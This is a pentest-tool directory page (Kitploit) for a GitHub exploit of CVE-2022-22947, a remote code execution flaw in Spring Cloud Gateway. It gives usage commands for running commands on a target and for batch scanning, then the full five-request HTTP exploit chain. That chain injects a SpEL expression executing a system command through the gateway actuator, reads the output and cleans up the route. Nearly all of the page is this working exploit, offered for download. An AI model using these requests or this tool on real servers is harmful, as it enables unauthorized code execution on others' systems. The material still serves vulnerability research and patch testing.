Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22947-Spring-Cloud-Gateway — CVE-2022-22947批量 | Kitploit
Tools/GitHubGitHub/tangxiaofeng7/cve-2022-22947-spring-cloud-gateway
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubtangxiaofeng7/cve-2022-22947-spring-cloud-gateway

CVE-2022-22947-Spring-Cloud-Gateway

CVE-2022-22947批量

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
712014 years agoReviewed by Kitploit
Share

Spring Cloud Gateway Remote Code Execution Vulnerability

This vulnerability poses a high risk to online services. Do not perform unauthorized scanning.

Usage
root@kitploit:~
╰─ ./CVE-2022-22947 -h                                                                                                                                                                                                                                            ─╯
Execute command: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami 
Batch detection: ./CVE-2022-22947 -l url.txt 
Start the vulnerable environment
root@kitploit:~
java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar 
The exploit consists of 5 requests

First request (send the following packet to add a route containing a malicious SpEL expression)

root@kitploit:~
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366

{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
        }],
      "uri": "http://example.com",
      "order": 0
    }

Second request (refresh the newly added route)

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Third request (view the execution result)

root@kitploit:~
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

Fourth request (clean up the added route)

root@kitploit:~
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Fifth request (refresh the routes)

root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Acknowledgements

JAR from 清水川崎; EXP from phith0n

Download Tool